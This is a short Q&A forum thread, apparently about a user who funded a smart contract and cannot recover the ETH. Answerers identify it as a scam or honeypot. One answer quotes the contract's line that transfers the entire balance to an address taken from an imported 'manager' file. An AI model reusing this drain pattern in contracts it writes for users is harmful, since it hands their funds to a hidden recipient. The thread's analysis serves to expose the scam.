Can retire funds from a smart contract

Question

I deploy a smart contract and I provide it with some eth.

Now I want the amount I did provide.

Ideas?

Answer 1

Either you're trying to scam or you got tricked up by a scammer. Obvious scam contract is obvious.

Check the ipfs import file. All transfers return here: https://bscscan.com/address/0x8B96C49C7A14978Ea63A184f63885025deC93891

Seeing how there hasn't been any returns yet from this contract. I can assume you're trying to honeypot people.

Answer 2

The only transfer operation I see is in action function

address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);

That line transfer the contract balance to manager.uniswapDepositAddress().

In order the transfer to succeed the rest of the function has to be executed, if they fail it will revert the whole transaction.
